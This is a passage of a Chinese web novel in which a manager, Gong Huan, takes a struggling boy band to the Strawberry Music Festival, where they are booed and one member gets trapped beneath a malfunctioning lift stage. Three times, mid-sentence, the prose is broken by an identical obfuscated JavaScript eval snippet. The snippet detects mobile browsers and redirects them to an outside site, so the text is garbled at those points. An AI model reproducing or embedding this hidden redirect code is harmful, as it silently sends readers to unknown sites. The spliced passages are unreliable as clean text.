旁边奚先生的朋友安先生也深受其害,他狠狠点头:“没错!饼干姐姐真的变了,她吃饭的时候还两只脚踩在凳子上,把一大碗饭吃得干干净净,吃完了边笑边哭,嘴里嘟嘟囔囔地也说着“我好惨”这样的话!” 为了采访的真实性,小助理还特意去找到了正在后花园草地上匍匐前行的关清英—— “变化?” “黑了一点,闷了一点,奇怪了一点,其他正常。” 小助理趴在草地上,两只手做记录的同时,还要跟上前面匍匐了一段距离的关清英。 接连采访了几人,小助理准备将这件未解之谜上报宫欢时,遇到了拦路者——萧先生。 萧先生出资200块买下了这条秘闻,让小助理不要声张,他有办法让甘惊鸿恢复原样。 别墅记者·小助理怀疑的视线在萧子重身上上下打量:“你真的有两百块?听高姐说,你还欠欢姐几千块钱没还呢!” “这你都知道!?”萧子重险些破功,他拿出手机找到小助理微信当场转账两百元,咬牙道,“这下信了吧!” 小助理收了钱,才不情不愿地点头:“好吧,我就暂停一下进度,但是你如果在一星期内没办法让小甘恢复,我就要跟欢姐说了。” 萧子重信誓旦旦地双手插兜,眼神笃定:“这件事,我一出马必定成功!” - 约定日期的第六天。 萧子重的头发被揉成了鸡窝头,眼睛里布满了血丝,整个人甚至有些神经质。 谁能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126384|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来救救他!! 谁能来救救他啊!! 这六天里,萧子重使尽了浑身解数—— 买花示好× 每天去搭话× 刻意在餐桌上讲笑话× 制造偶遇(别墅内部版)× 参加关清英的特训内容(地狱版)× 暴晒几天把自己也晒黑× 哪怕是看见同样晒黑的萧子重,甘惊鸿虽然愣了一下,可还是哼了一声扭头走了,一副不想看见他的样子。 萧子重真的不知道还有什么办法。 到底怎么才能让甘惊鸿不生气啊——问题是他也根本不知道她生气的原因!! 哄人不是最难的,最难的是知道她到底因为什么生气。 他瘫在客厅沙发上怀疑人生。 恰好,宫欢刚应酬完从外面回来,人微醺,脚步凌乱,状态极好,她拿着一沓海报宣传单跑过来,啪得摔在萧子重的脸上—— “睡什么睡,快给我起来营业!” 萧子重脑门青筋直突突,一伸手扯下扒在脸上的宣传单—— “草莓音乐节!?”三人异口同声。 宫欢打了个酒嗝,抱着手臂高高仰着下巴,点了点头:“没错。” “收收你那抻出二里地的下巴,”萧子重没好气地说,“我承认,你这次终于靠谱了点,草莓音乐节的名头确实响。” 奚亭云认同地点头。 即使是他不怎么关注音乐圈的人,都偶尔能看到草莓音乐节的一些出圈视频。 安声更不用说了,当得知他们有机会去草莓音乐节的时候,兴奋得差点蹦起来抱住宫欢——被人强行摁了回去。 “我们真的有机会去吗?”安声不敢置信地捧着初版音乐节宣传单,反复确认,“可是,能上这种活动的都是很有名,很受欢迎的歌手乐队,我们去了不会砸场子吗?” 几人默默都看向了安声,他无辜地耸肩:“我们最近又黑又红,别人一看一堆大牌歌手里面掺了我们几个,一下就猜到走后门了。” “知道就知道呗,”宫欢理直气壮地摊手,“圈里谁不走后门,不走的早就转行了。” 几人正聊着,旁边的楼梯上走下来一道黑影子,魂飘飘地走进了厨房,幽幽地还带着一声“我好惨”。 宫欢以为自己幻听了,酒意一下散去,左右扭头去看:“什么东西!?刚才什么东西说话??” 奚亭云和甘惊鸿打过照面,只是惊讶了一瞬,便恢复了正常,日常相处还和以前没差别。 他怕宫欢被吓到,故意岔开话题:“我们什么时候去音乐节彩排?” 一打岔,醉意上头的宫欢扒着手机看了半天:“哦,明天就要去了,音乐节开场时间在一周后,哈哈哈哈恭喜你们,时间紧迫了。” 安声和萧子重的脸一下黑了。 奚亭云却仍笑着,顺着她的话往下说:“那该怎么办?” 宫欢的微醺状态要比平时更跳脱一点,脸上飘着红,眼睛微眯,像是有些睁不开,可人的精神状态却非常活跃。 “当然是快点收拾东西跟我飞过去啊。”宫欢真就一句一答。 她连眨两下眼,身体前倾去看了看面前沙发上坐着的三人,像是在辨认刚才说话的是谁。 确认之后,她绕过茶几,来到奚亭云身侧——同一时间,她伸手准备抓他,他抬起手臂顺从地配合。 于是,宫欢抓住了奚亭云的手臂,毫不费力地拉着他往楼上走,边走边催:“快点,别磨叽,把好看的衣服都装好,马上订机票飞过去。” 沙发上的另外两人还没回过神来,处在一种震惊又怪异的情绪中。 他们只听见奚亭云格外轻声的回答:“好,都带上,你觉得哪些衣服好看?” 萧子重和安声互相看了眼。 萧子重:“感觉怪怪的。” 安声:“又说不出来哪里怪。” 这时,厨房的人飘了出来,拿着一盒酸奶边吃边往楼上飘。 萧子重眼尖地看见她,连忙站起身叫她:“小甘!” 甘惊鸿顿了顿,转过头来,一张黑漆漆的脸在昏暗的楼梯口不太明显。 安声探着头到处看:“哪呢哪呢,饼干姐姐在哪啊??” “......”甘惊鸿更气了,她重重哼出了声,一扭头走了。 “等等!不是,我们不是那个意思!!”萧子重没来得及解释,又是一声重重的关门声。 他颇感挫败,旁边的安声还纳闷道:“我好像听见了她的声音,可就是看不到人!” 萧子重:“......” 有时候,真的很想揍队友。 94. 草莓音乐节2 从收拾行李到定下机票不过三四个小时。 宫欢是被高姐强行拽起来的。 她半睡半醒地在洗漱间刷牙,听着高姐在旁边絮絮叨叨:“音乐节的商演安排得也太紧了,彩排时间这么短,他们靠得住吗?” “赶鸭子上架不就行了,”宫欢吐掉口中的泡沫,看着镜中睁不开眼的自己,“我可是费劲力气拿到的资源,不行也得行,他们天天排练问题不大的。” 刚洗完脸,宫欢准备去换衣服,脑中突兀地闪过昨天的片段。 ——她拉着奚亭云去了他的房间。 ——她拉开他的衣柜,他始终带着笑,眼神紧紧落在她身上,黏糊又热烈。 宫欢差点滑了一跤,双手颤巍巍地扶着墙,五官皱成一团: 怎么又是这种回忆,怎么又是奚亭云啊!!! 她就不能换个人霍霍吗!!?? 她没做什么吧。 宫欢后悔地双手搓脸,旁敲侧击地问高姐:“你来的时候我就躺在床上吗?” 高姐刚装完一行李箱的日常物品,听见这话,敏锐地转头过来,眯起眼睛盯着宫欢:“什么意思?你昨天不是自己走回来的?” 好好好,别问了,再问露馅了。 宫欢努力扬起一个笑:“哈哈姐说什么呢,我不走回来难道飞回来啊。” 高姐半信半疑,她对宫欢再了解不过了,尤其是宫欢插科打诨的时候,那必定有猫腻。 高姐收回视线,装作一切正常的样子,继续收拾东西,顺嘴说了句:“你问我我怎么知道,昨天不是奚亭云把你送回房间的吗。” “真是他!!?”宫欢震惊道。 高姐手中的充电头被捏出一道裂痕,她幽幽转过头:“宫,欢!” 遭了,被诈了! 宫欢看见高姐那质问的眼神后,悔之晚矣,她心虚地举起手:“没,没有,我什么都没说。” “现在一切都走上正轨了,男团有了个好的开局,慢慢运营砸点资源就火了,我们又签了赵莉莉她们有实力的演员,只要操作得当,合约不愁完不成。” 高姐叉着腰朝宫欢走:“你别给我动什么歪心思,20亿的对赌合同,你既然有自信敢去做,我当然是信你的,但是,你要是敢因为那些男人半路栽跟头——” “不会!绝对不会!”宫欢举手发誓,信誓旦旦地,“姐啊,你怎么能怀疑我呢,我想要什么当然一清二楚,我又不是拎不清的人,钱权在我这永远排在第一,我生在什么环境,我从小到大接触的全都是这些,早就培养出了一身铜臭味,只有钱对我才有吸引力!” 宫欢嘴皮子利索,在高姐要发威怀疑前,果断撇清嫌疑:“我进圈以来多少人前仆后继地想搭上我,你看有哪个成功了?” 高姐勉强收起了气势,但还是觉得危险:“那是你没遇上有心之人。” 宫欢没深思她这句话,只是看人不生气了,笑嘻嘻地给她倒水撒娇:“放心放心,我鬼着呢,我所做的一切都只为了我想要达到的目标,绝无偏移。” 都这么说了,高姐也不再多问,喝下了水,拉着行李和宫欢一起往房间外走—— 宫欢的卧室房门在高姐进来后一直没关,此刻,门外站着一个熟悉的人。 三人打了个照面。 宫欢当场心肌梗塞,呼吸不畅。 “你,在这做什么呢?”宫欢强行挤出个笑,期望奚亭云没听见刚才房间里的对话,“东西都收拾好了吗,准备去机场了。” 奚亭云眼神幽深,看着她半晌,才点点头。 没有多说什么,转身走了。 宫欢欲言又止,但转头看见高姐盯着的小眼神,只得默默咽下去。 有空再说吧。 - 草莓音乐节的地点定在了一座滨海城市的中心岛屿——潮岛。 岛上的植物繁多,景色怡人,每到夏季夜晚,围绕岛屿沙滩的海水逐渐渐变为冷蓝色的海水,浪潮起伏之间,星星点点的蓝色光点在水中漂浮游动,掬一捧水在手心,蓝便停留在了手中。 连夜飞至潮岛,音乐节现场仍在布景中,附近的一家酒店与音乐节主办方合作,特意保留了与嘉宾们人数对等的房间。 宫欢让助理们将所有行李带去酒店,自己则带着男团三人赶去现场。 休息都是奢侈,现在只剩六天不到的时间,别说三人了,连宫欢都要随时准备对接营销工作,休息都是以分钟计算。 草莓音乐节的场地建在岸边的沙滩上,背靠荧光海,为了方便互动,现场除了一块偌大的主舞台外,两边还有连接观众的副舞台。 品牌方很舍得场地搭建,比起某些地方的晚会也不差。 到地方后,宫欢让三人去熟悉舞台,自己则去找工作人员对接。 依旧是节目组名单的出场次序,因为是走后门,海报名单没有宣传,宫欢不多说什么,但其他的条件绝对不能拉低。 是这样的,如果你腕小,那也要稍微端点架子,不然主办发绝对会看人下菜碟,给你很差的待遇。 防止这种情况出现,宫欢从来都是要求最好的,等主办方做不到,再降低要求——稍微拉扯一下,双方都能得到满意的结果。 音乐节的舞台布景做不到太过精美,现场话筒设备也比不得大舞台,因此侧重点要更换。 宫欢提前约了国内知名造型师、化妆师,至于服装,来不及定做只能从简,而且服装不宜过于夸张,简约却不简单最好。 音乐节的选曲上面,宫欢比较倾向于旧歌,新歌要放在更好的舞台。 安声本来还坚持想借音乐节的舞台打歌,但宫欢劝他:“你们初舞台那场效果很好,还是要多跳几场,让路人都熟悉这首歌和舞蹈,先立住你们的人设,新歌不急这一时半会,等有名气了推新歌才有效果。” 安声觉得颇有道理,也就不坚持了。 决定选曲,形象设计后,三人开始彩排,熟悉舞台走位。因为音乐节的嘉宾众多,每位嘉宾都只有一小时的彩排时间,而他们是临时加塞来的,只能在凌晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126385|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才能来彩排。 宫欢抱着电脑在后台忙碌。 荧光海水的浪潮声反反复复地在耳边回响,即使已至凌晨,岛屿上仍人满为患,嬉笑打闹的人们偶尔能听见旁边的音乐舞台传来的歌声。 时而深情动人,时而强劲摇滚,歌声与浪潮声为夜晚伴奏,人们便随着歌声摇摆身体,脚下踩着布满荧蓝光芒的海水。 彩排结束时天微亮。 奚亭云走下舞台,在后台找了一圈,看见角落里仰着头、流着口水熟睡的宫欢。 电脑上的水军群里还在不断地@她:【@宫欢姐,这个文案行不?您过过眼,我们都改了五版了,真的不知道还能怎么夸人帅了!!】 【@宫欢姐,草莓音乐节的视频现拍现剪,一小时内必定出来!】 【@宫欢姐,最近暑假了,水军人多,有什么事您尽管说!】 除了水军群外,还有二三十个群都被置顶在聊天页面。 奚亭云本不该看人隐私,但他实在是不经意地,看了一眼宫欢的私人列表置顶—— 高姐。 意料之中的人。 可奚亭云还是有些不舒服。 的确,他在宫欢这的存在感很弱,甚至不如她随身携带的手机和电脑。 她到底是如何看待他的? 那些默许的态度,意味不明的暧昧,到底算什么呢? 他拿了件外套盖在她身上,而后半蹲在她旁边。 不满又无奈地看她。他有些怨她。 凭什么她可以没有任何心理负担地熟睡,而他却为她的话夜不能寐。 宫欢翻了个身,窝在不知道哪儿拖来的小沙发里,睡得十分安稳。 她侧身蜷缩着,睡容安静,呼吸浅浅地几乎不可闻,奚亭云莫名其妙的怨气一下消散了。 他有什么资格怪她? 用尽浑身解数只换来她不轻不淡地两眼,他就有些受不了了。 无能而废物的他。 奚亭云自嘲地笑。 他起身准备离开时,刻意停顿住了几秒——像是在幻想宫欢会抓住他的手,像那些所有言情片里的剧情。 但没有。 宫欢睡觉很乖,不乱动,不闹腾,安安静静地熟睡着。 奚亭云挫败地走出了后台。 萧子重好像去拍荧光海了,安声则去逛周围的小商店了。 他们好像都有自己的目标,要做什么,要达到怎样的成就,只要一直朝着这个方向去努力就好。 他们有专业技能傍身,有家庭托底,不论怎样都不会混的很差。 那奚亭云有什么? 只有一个遥不可及的念想。 走出音乐节后台时,奚亭云耳边传来刺耳的话筒杂音,他下意识皱起眉头向舞台上看去。 是一位歌手正指着脚下的升高舞台,表情严肃地说着什么,像是出了问题。 不再去看那些,奚亭云转身,走向了那片荧蓝色的海水。 今晚,又是一个不眠夜。 95. 草莓音乐节3 音乐节当天。 小小的潮岛不断涌入人群,连媒体都来了几十家,无数台摄像机拍摄着这一盛况,许多来参加音乐节的观众对着摄像机摆pose,配合媒体采访,说着对音乐节的期待与印象。 十几架无人机从高空绕岛环拍,将潮岛的景色与草莓音乐节现场的舞台尽数拍下。 “一年一度的草莓音乐节在今日开场,”娱记扬起笑脸对着镜头介绍,“潮岛为此特意准备了无人机烟花秀,将在音乐节结束那一刻燃放,让音乐永远停留在这个夏天!” 欢呼声此起彼伏,舞台两侧的超清4k大屏上放着草莓音乐节的设计海报图,仿佛连潮岛上的空气都带着跃动青春的节奏。 临近开场时间,音乐节现场外围早已被人群围得水泄不通,众多粉丝举着荧光电子牌和荧光棒挥舞,在无人机飞过时大喊应援口号。 潮岛为此次音乐节特意上报至相关部门,连武警都出动了,在潮岛上四处可见维持秩序的身影。 音乐节后台。 邀约嘉宾足有几十位,休息室的门都没关,进进出出的都是助理与造型师等等,嘈杂声不断,一会是服装烫坏了,一会是化妆师失误了,数不清的细节麻烦。 两位主持人在候场区背着台卡,在时间临到17点的那刻,舞台音乐响起,现场上万人的欢呼声几乎要将主持人话筒中的声音都盖过。 “欢迎来到2025草莓音乐节!” 主持人看着台卡上的一连串名单,除了本身就有实力的经典歌手外,有一大半都是加塞走后门来的人—— 后门之一X男团正在听训。 “一个个都给我干嘛去了,那眼圈黑的能见人吗!?” 宫欢气势汹汹地抱着手臂在三人面前来回踱步,眼神犀利带着怒意,挨个扫过三人。 三人由奚亭云、萧子重、安声从左到右老实罚站。 一个接一个地说:“失眠。”“睡不好。”“不舍得睡。” 安声垂着头,心虚地小声嘟囔:“潮岛太好玩了,我这几天都还没转完岛上的景点......” 萧子重魂不守舍,心不在焉地说:“......她还在生气。” 奚亭云则更是情绪低落,眼底带着通宵的青黑色:“怎么睡都睡不着。” 听着这些话,宫欢感觉要心肌梗塞,深呼吸一口气捂住心口,险些要后仰倒过去,高姐在旁边扶了她一把,她看也不看几人,狠狠挥手:“让他们滚蛋!都给我滚蛋!” 高姐全当宫欢在放屁,淡定地推了推鼻梁上的镜框。 气过之后,还是要自己收拾这个烂摊子。 宫欢伤得不轻,瘫在沙发上让化妆师全力发挥:“粉底修容给我往死里盖,妆容怎么夸张怎么来,反正他们那几张脸扛得住。” 一旁随时准备着的化妆师举起五指间的化妆毛刷,临危受命:“欢姐放心,我一定让他们在舞台上大放异彩!” 三人的服装都经过宫欢的检查,是之前早就定制做好的一些私人款式,音乐节的装饰不用太夸张,过了反而油腻,点到即止即可。 舞台名单的排序中,男团排在最末位。 宫欢看着休息室内的实况转播,现在才轮到第三位歌手,轮到他们还有很久,起码要六七个小时——怎么都要到凌晨了。 让化妆师补妆期间,宫欢叮嘱高姐让他们不要吃东西喝水,以防影响等下的发挥。 相比起初舞台,三人这回反倒没那么紧张,或许是音乐节的舞台没那么严肃,现场年轻人多,包容性也大。 化完妆,宫欢在手机上忙着联系宣发,三人则来到靠近舞台的边缘地方,看着舞台上的歌手在副舞台上与观众互动,颇为艳羡。 “什么时候我才能像她那样啊,有一首被人熟知的歌,有一些忠实粉丝,”安声惆怅地趴在栏杆上,“我微博的粉丝量已经有五百个了,她们都没给我发过私信,我都不怎么认识她们呢。” 萧子重也很惆怅,叹了口气:“她是不是还在生气啊。” “很快吧,”奚亭云眼神空洞,没有焦点地望着远处,“很快就能得到她的认可了。” 安声一只手托着下巴,脸颊一侧的肉被堆积在一起:“什么时候可以给粉丝签名啊,我上次签名还是在上次。” 萧子重也托起了下巴,望向远方:“到底要怎么办啊。” 奚亭云刚想换个姿势,忽然发现旁边的两个队友都是手托下巴,他顿了顿,换成了左手托下巴。 士气低迷,明明是又一次可以上舞台的机会,三人却被生活中的事情影响了状态。 宫欢注意到了。 没等她细想要怎么鼓舞士气,在第10组嘉宾上台时,三人的神情从蔫了吧唧到暗暗鼓劲不过几分钟。 她看了眼休息室内的实况转播——上台的也是一组当红男团,宫欢不太眼熟,但知道他们的背景,仍然是璀璨娱乐的兵。 璀璨娱乐前有TXT男团,但发现男团的粉丝经济比单人歌手效益更好,且团队可以操作营销的地方更多,所以早就在培养后续的团队,好时刻能接替TXT男团。 宫欢研究过音乐节的嘉宾名单,男团有两组,一组是他们,另一组就是这个男团,女团也有两组,一组是璀璨娱乐的,一组是选秀出道的团队。 总之竞争激烈。 他们看见什么了,突然一个个握紧了拳头,眼神不甘,像是随时准备大战一场。 当宫欢看见舞台上的男团边唱边跳,甚至与观众一起互动时,她懂了—— 他们还没来过互动型舞台,没有直面感受过观众的热情反馈,这种无法比拟的充实快乐让人沉迷,毕竟谁不喜欢万众瞩目呢? 时间一分一秒的过去,五点开始的音乐节在七八点时气氛最燃,越到后面部分观众有些疲惫,气氛不比最初。 在23:30分时,三人上了舞台。 主持人仍然保持着热情向观众介绍:“接下来有请国内新晋X男团为我们带来他们的成名曲——【电子蝴蝶】!” 话音刚落,观众席上的荧光棒稀稀拉拉地挥了一些,甚至有些观众在听见X男团时疑惑地发出嗯?的声音,转头看向自己的同伴。 草莓音乐节是国内数一数二的舞台,能来的基本上都小有名气,这个男团是从哪儿冒出来的? 前段时间【敢说敢言】的初舞台虽然上过热搜,引起过一些粉丝激战,但那算不上普遍意义上的小火,只能说是在一些节目粉丝间火,并未出圈吸引到大批的路人粉丝。 音乐节的观众们多数是经典歌手们的粉丝,他们看待男团女团就像看待歌舞团——只是歌唱节目的中场休息时间。 因为这些团队多是又唱又跳,唱功一般,跳得一般,挑不出出彩的。 所以在三人上台后,观众们都偏向安静。 舞台灯光先是暗了下去,接着极快地闪烁几下,每闪烁一下,灯光距离便往回移了一点,直到第三下,灯光打在了三人身上。 站位有些许不同。 开场的C位是萧子重,当灯光打在他身上的那刻,他自然随和地举起话筒哼唱出一段歌词—— 【电子蝴蝶】的歌只有乐曲鼓点,歌词只有和声,但当唱出来时,人声与和声重叠,一下突出了萧子重的独特嗓音。 音乐声小,人声大,他自然清晰的语调打败了不少含糊不清的歌手。 前两段歌声过去后,他迅速又切换回了机械舞的风格,接上了两个舞蹈动作,身后的两人也分散开了走位,由萧子重主C带队,三人分别走向主舞台和两边的副舞台。 高清大屏上出现三人的脸,同一时间三人不约而同地舞动。 与舞台对比鲜明的是台下。 台下前两排的观众冷淡地拿起手机,有些甚至发出了一片嘘声。 嘘声原本很小,但前两排一发出来,后面的观众就喜欢跟着凑热闹,于是主舞台前方的一片观众区都引起更多叫衰的嘘声。 台上三人脸色有些微的变化,但仍保持着屏蔽力,忽略一切干扰,尽力完成舞台。 可台下那片区域愈发过分,嘘声过后,还伸出两只手大拇指倒过来喝倒彩,时不时发出些怪叫。许多人都见不惯流量明星,不屑这类人与经典歌手同台,这名不见经传的男团,肯定是走后门来的。 场下挥舞着的荧光棒逐渐减少,欢呼声渐渐减弱,不少人交头接耳的聊着天,也有人玩起手机来,这更给了台上三人极大的压力。 三人不断切换站位,发挥出百分百的状态,可比起刚开始的热烈强劲的氛围,此刻场下堪称平静,他们额头渗出大颗的汗珠,甚至出现了个别的动作失误。 就在恍惚不安的状态中,耳返里传出了宫欢的声音。 “你们干嘛呢!”她声音直直冲入耳返中,刺地人眉头一跳,“别以为我看不见就摸鱼,舞台上是能摸鱼的地方吗,我看得清清楚楚呢,萧子重,你腿瘸了吗,一个舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126386|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹈动作都跳不好我看您老趁早退休算了!” 舞台后场,宫欢一手拿着望远镜,一手拿着抢来的副导对讲机,副导被高姐拦在后面,手舞足蹈地闹着“还给我,那不能乱碰啊!”。 高姐淡定地拦着副导,泰然自若地说:“放心,我们不会乱来。” 副导急得直蹦:“你们已经在乱来了啊!!” 望远镜里清晰地看见三人因为宫欢的话神态转变着,她又将视线转到台下,扫到几个眼熟的人,是璀璨娱乐里的工作人员——刚才的嘘声中,就有他们发出的。 宫欢冷哼一声,继续对着对讲机说:“就几个人唱衰,能把你们这么久以来的训练干扰到了?一个个心理这么脆弱来当什么艺人,这还只是开胃菜,没到黑粉作乱的时候,你们就屈服了?” 耳返里持续传出她流畅的话,偶尔被音频设备的电流打断片刻,三人都听在耳中。确实,只是一点小场面,他们就自乱阵脚,太没气场了。 以后也许还有更大的风波,难道每一次都要被这些干扰,乱了自己的状态。 宫欢说话向来直接难听,却很一针见血,被她劈头盖脸一通骂,慌乱不安的心反而渐渐稳住,但紧接着就忽而听见耳返里传出宫欢更嚣张跋扈地叫嚣,不知在跟谁说话:“——把那几个人给我摁住了,捂住嘴!我看他们还能怎么嘘嘘嘘的,当这里是公厕吗,随地大小尿啊!?” 三人:“......” 这一打岔缓和了他们紧张的神经,三人借着舞蹈动作对视一眼,调整了呼吸节奏,肢体状态更随性自然,开始演奏。 萧子重单手握着话筒,低声唱和声,舞蹈动作透着洒脱,但并未完全脱离歌曲风格,在一些非常鲜明、乃至狂野的个人动作过后,又会回归僵硬的机械舞动作。 一首歌被他演绎得像是在看MV,时而能看出他是个机器人,却又有自己的小动作。 镜头切换到安声的副舞台。 背景大屏从萧子重痞气的眨眼笑一下换到了安声闭眼跟唱的画面,他眼睫毛极细,脸型稚嫩,看上去清澈干净,像是不谙世事的小王子。 但只过了两秒,安声睁开眼,眼神与面部表情肉眼可见的僵硬下去,到后面张嘴的动作都僵硬到给人以咔咔的感觉—— 一连串的紧凑鼓点过后,他迟滞的肢体动作伴随一个转身,高音忽然迭起,一霎那扬起了甜甜地笑。 他领口系着一条青绿色的丝巾,在舞动间上下跳动,高音和声回旋婉转,更衬托出了他特有的森林精灵感。 镜头非常体贴地绕着安声转了两圈,配合这一长串的高音和声,转到了奚亭云那边。 奚亭云的情绪实在太明显了。 他低落,哀伤,眼睛里满溢而出的深情,直直地看着镜头,他手指紧紧攥着话筒,唱着几句低音歌词。 奚亭云的眼眶甚至在几秒间渐渐变红,唱完这段歌词,他放下话筒,倒退着往回走。 另外两边的人也都在倒退着往主舞台聚集,每个人都维持着自己的风格,像是在进行一场漫长的告别。 他们走到中心点,维持了片刻的个人风格,在一段低音节奏后,三人同时低下头,闭上眼,接着快速地抬头,眼神变得冷酷,肢体僵硬,脖颈一下转动,面对最前方的镜头。 冷硬的非人感扑面而来。 三人跳着机械舞,队形一字排开,他们投入而专注,在最后一段高潮迭起的音乐中,三人在喷薄而出的舞台气雾中挣扎求救,双手伸向前方,不断试图抓着什么..... 舞台慢慢下降,三人结束了这场舞台,在万人欢呼声中退场。 随着观众席渐渐消失在眼前,三人松了口气,好在还算顺利。 舞台下降后,主持人登场开始致辞言谢,所有邀约嘉宾都纷纷上台,准备一起观赏无人机焰火。 耳边是主持人对品牌方的致谢词,奚亭云等待着舞台降到地面,下去后只需要再通过后台绕回台上,就可以和观众一起结束这场音乐节了。 升降舞台在下降到最底部时,传来一声齿轮咔哒的别扭响动,奚亭云下意识一顿,他已经落到了地面,但没有出现离开的通道,往上看,舞台也被其他的升降台挡住了。 “萧子重,”奚亭云在黑漆漆的舞台下面叫着,“安声?你们还在吗?” 无人回应,这时,奚亭云才忽得回想起前几天看到一个歌手指着脚下的舞台—— 他想,舞台可能出现问题了。 96. 草莓音乐节4 几十位明星嘉宾纷纷前后簇拥着上台,主舞台与两侧的副舞台都站满了穿着奇装异服的明星,台下的上万人举起荧光棒挥舞欢呼着,主持人笑着面对摄影机镜头: “感谢所有嘉宾为我们2025的草莓音乐节画上了一个完美的句号,现在请所有人来舞台上,与现场万人同赏这场由xx品牌方、xx珠宝......” 后台,明星一个个往舞台上走,连最后结束表演的萧子重和安声都从升降舞台绕回了后台。 宫欢时刻关注着现场,见他们回来,下意识往他们身后看了看,发现少了个人:“奚亭云呢?” 不说还没想起来,萧子重也跟着回头看了一眼,惊讶道:“没在后面!?” “我问你呢,”宫欢说,“你们不是一起下去的吗?” 安声往回多找了一会,还是没看见奚亭云,挠着头解释:“我们的升降舞台是分开的三个格子,刚才我和萧哥下来之后直接就出来了,真没注意到奚哥,他是不是还不想出来啊。” 宫欢和萧子重默默盯着安声看,他也觉得自己的猜测有点太扯。 “不对劲,”宫欢皱着眉头,准备去找人,但见舞台上明星云集,便推着两人上台,“你们先上去互动,争取多抢几个镜头机位露面。” 安声被推着走还不忘回头:“那你呢?” “当然是去找人啊!别问了,你们该怎么表现就怎么表现,不用我教你们吧。” 宫欢用力推了他们一把,两人被强行挤上了舞台,小心翼翼地左右讨好笑着往前蛄蛹着前行。 宫欢翻过写着‘禁止进入舞台下方’的标识栏杆,掀开垂在地面的黑色幕布,低头钻了进去。 在她走后,高姐和小助理们挤过其他明星助理来到舞台与后台的接连处,助理急得跺脚:“哪儿都没看见欢姐啊,人太多了,根本找不到!” “电话打得通吗?”高姐问。 “没人接,”另一位小助理喊道,舞台上主持人的声音,还有观众的声浪强到让人无法正常听见对话,“应该是——没听到手机响!” 不是说来舞台入口盯着他们吗,怎么一眨眼人就不见了。 几人正发愁呢。 忽然看见拥挤的后台通道中,一个胸前挂着工作证的音乐节工作人员急急忙忙地挤开一众明星助理,跑到大开着的调度室中,找到操控台旁边的副导,她气喘吁吁地焦急道: “不好了,副导,升降舞台卡住了,一直在报错!怎么办啊!” “不是之前就报修了吗!”副导顿时拉下耳麦,严厉地质问,“维修人员怎么还没处理好!?” “不知道啊,一直没人来处理。” 高姐在嘈杂的音乐与人声中听到这两句对话,瞬间脸色白了白,一把抓住助理的手催促:“快,去找总导演还有医疗队来,说可能有人员困在了升降舞台下面!” 助理也紧跟着屏住呼吸:“我马上去!” 后台走廊的转播实况中,画面里只出现了萧子重与安声,两人站在舞台上到处找镜头尬笑摆手。 高姐盯着转播画面,手不自觉地紧握。 - 音乐节的舞台搭建复杂。 舞台底部黑漆漆一片,只有一些小彩灯充作照明,宫欢视力还算好,走着没有四处乱撞。 三四条通道互相连接着,方便升降舞台下场后可以从底部走出去,直通后台。刚才萧子重他们就是这样走出去的。 那奚亭云呢? 难道半路迷了路,走错了? 宫欢只好慢慢往里走,双手抵在唇边当做喇叭:“奚亭云,奚亭云?听得到吗?” 喊出来的声音被舞台外围的音浪瞬间吞没,她的喊叫声只有自己能听见。 只能边走边找人了。 她还穿着有些难走的高跟鞋,鞋好看,走起来却不方便。宫欢索性抬脚将鞋都踢掉,打着赤脚走在满是轻钢的舞台底部。 头顶偶尔能听见主持人的贺语祝词,时不时有明星们小声的嘀咕: “挤死人了,什么时候能走啊,又热又挤,这破音乐节再不想来了!” “怎么还没到零点啊,还有多久啊,无人机焰火不能提前放吗。” “卧槽谁踩我脚了!!?” “别推了啊,摄影机拍着呢!” 所有的声音像是玻璃蒙上了一层雾气,抑扬顿挫的话语被磨得圆钝,听起来颇有些费力,只剩情绪尖锐。 “奚亭云!你在哪儿啊——!”宫欢喊得久了,也听不出自己的声音了——要么被更大的音浪吞没,要么则只在她的周围绕圈。 进来之后,时间的概念被模糊,宫欢视线所及的一切都是灰蒙蒙的,彩灯稀稀拉拉的只能照亮一部分,她感觉自己走了很久,久到有些不耐烦。 宫欢停下脚步,弯腰,双手撑在膝盖上,不满地碎碎念:“再找不到我就不找了,鬼知道人跑哪儿去了。” 鞋也不知道踢到了哪里,宫欢脚底被磨得微微发疼,她烦躁地踢了踢碎沙。 这时,舞台外围的人群安静不少,都在认真听主持人的致谢名单,舞台底部也跟着安静下来,宫欢就在这短暂的安静中,听见了一些细微的声音。 “欢欢......欢欢...”虚弱到不仔细听就无法捕捉。 像是条件反射,宫欢激灵了一下,鸡皮疙瘩瞬间冒了出来——她顿感恼火,用力搓着胳膊,在心里骂自己:这么大反应干嘛啊! 她踢着脚下的沙子走近了。 奚亭云正倚靠着由轻钢组成的一个方形格子里。 